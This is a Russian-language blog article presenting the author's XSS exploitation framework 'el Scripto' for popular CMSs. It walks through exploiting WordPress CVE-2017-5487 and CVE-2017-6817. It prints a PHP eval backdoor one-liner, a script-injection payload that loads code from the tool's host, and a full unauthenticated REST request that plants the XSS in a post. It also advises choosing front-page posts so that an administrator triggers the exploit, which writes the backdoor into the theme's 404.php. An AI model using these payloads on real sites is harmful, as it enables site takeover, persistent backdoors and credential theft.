Я давно увлекаюсь XSS-атаками, размышляю над разными техниками эксплуатации, ищу обходы и новые векторы для внедрения кода в страницы. В определенный момент у меня накопилось много файлов с XSS-эксплоитами для топовых CMS, и, зная, что в Сети такое добро редко встречается, я решил собрать это все в один набор и назвать его el Scripto.
 

Зачем нужен el Scripto?

Мне хотелось реализовать:

  • набор эксплоитов для XSS в различных CMS;
  • универсальный эксплоит для XSS;
  • красивые и информативные отчеты;
  • легкость эксплуатации и минимальные требования (Apache + PHP + MySQL + поддержка SSL).

В конце разработки добавился плагин для Burp Suite, посылающий XSS-пейлоад во все места на сайте (Blind XSS проверки).

Так как я не профессиональный разработчик, да и вообще разработчиком меня назвать язык не повернется, за основу решил взять темплейт на Bootstrap «SB Admin», следом был добавлен highlight.js для подсветки синтаксиса в отчетах и редакторе эксплоитов.

Главная страница содержит небольшую статистику, кнопку для скачивания плагина для Burp, а также список добавленных эксплоитов и пейлоады для них
Главная страница содержит небольшую статистику, кнопку для скачивания плагина для Burp, а также список добавленных эксплоитов и пейлоады для них

Страница со списком отчетов
Страница со списком отчетов

Тут еще куча HTML-кода, выдранного из DOM страницы
Тут еще куча HTML-кода, выдранного из DOM страницы

Пример отчета
Пример отчета

 

FAQ

Как этот фреймворк может помочь пентестерам?

Наверняка многие знают, что такое Meterpreter в MSF. Сам по себе он мало интересен, это полезная нагрузка для эксплуатации уязвимостей. То же самое и тут: находит кто-либо XSS в топовом движке, а полезная нагрузка для нее уже есть под рукой, и осталось всего лишь дождаться админа.

Очередной BeEF?

Нет. BeEF универсален, он не умеет сам лить бэкдоры или создавать новых админов на форуме, это приходится в нем делать вручную. Осложняется все тем, что он палится многими антивирусами и атакующий не может угадать, когда админ будет онлайн, чтобы выполнить все, что нужно, в его браузере. Но тем не менее интегрировать его и el Scripto было бы интересно.

 

Эксплуатируем баги WordPress CVE-2017-5487 и CVE-2017-6817 с el Scripto

Рассмотрим пример для двух критических багов в WordPress, найденных в январе — феврале этого года.

  • CVE-2017-5487 позволяет неавторизованному злоумышленнику редактировать содержимое любого поста в блоге;
  • CVE-2017-6817 — хранимая XSS в контенте поста.

Для начала в el Scripto на странице prepare.html добавим в базу эксплоит для WordPress, чтобы для него был сгенерирован свой пейлоад.

Пример страницы prepare.html
Пример страницы prepare.html

Кратко пройдемся по коду эксплоита:

  • payload — код PHP-бэкдора:

    <?php if(isset($_GET['a'])){eval($_GET['a'])}; ?>
  • SitePath — путь к корню блога;
  • editor — iframe-элемент, открывающий редактор тем, после успешной загрузки срабатывает событие onload, запускающее функцию pao;
  • функция pao (parse and open) — функция, которая парсит имя используемой темы и открывает ее файл 404.php для редактирования, после чего срабатывает событие onload у элемента editor и запускается функция eas;
  • функция eas (edit and save) — функция, которая дописывает PHP-бэкдор (payload) в конец файла 404.php и сохраняет его.

Вернемся к эксплуатации. Далее нам нужно на главной странице выбрать наш новый эксплоит и скопировать JavaScript-пейлоад от него:

document.body.appendChild(document.createElement('script')).src='//elScripto/ /jquery.min.js?ver=6'

В запросе ниже заменяем:

  • alert(2) на пейлоад;
  • post id на айди поста, который будем редактировать в атакуемом блоге;
  • id в JSON’е на тот же id и рандомную строку.
POST /wordpress/index.php?rest_route=/wp/v2/posts/%post id% HTTP/1.1
Host: 1.3.3.7
Connection: close
Content-Type: application/json
Content-Length: 129

{"id":"1string", "title":"demo", "content":"https://youtube.com/watch?v=12345x3csvg+onload%3Dalert%282%29x3e"}
Скриншот, демонстрирующий успешное изменение поста (в запросе Cookie не были переданы)
Скриншот, демонстрирующий успешное изменение поста (в запросе Cookie не были переданы)

Советую редактировать те посты, которые видно на главной странице, как только администратор авторизуется и зайдет на главную, эксплоит будет исполнен.


 

Планы на «подпилить»:

  • добавить модуль для обхода Basic-авторизации;
  • добавить модуль для сбора авторизационных данных (Cookie HTTP-only, значение хидера Basic-авторизации) из phpinfo();
  • сделать эти модули подключаемыми и настраиваемыми по желанию;
  • конечно же, добавлять новые эксплоиты.

Текущая версия el Scripto доступна у меня на Гитхабе.

Хочу поблагодарить @i_bo0om за тему со скриншотами страниц и @httpsonly за идею с плагином для Burp Suite.

3 комментария

  1. anonymous25

    06.05.2017 at 22:41

    Исходя из того, как ясно, автор, изъясняется, скажу, что у нас в дурке, сказали бы, что слишком,,,,,

  2. adelmaster

    07.05.2017 at 01:33

    где ссылка на утилиту?)

Оставить мнение

Check Also

В Drupal исправлена критическая уязвимость, связанная с работой CKEditor

Совсем недавно специалисты предупреждали, что преступники начали эксплуатировать критическ…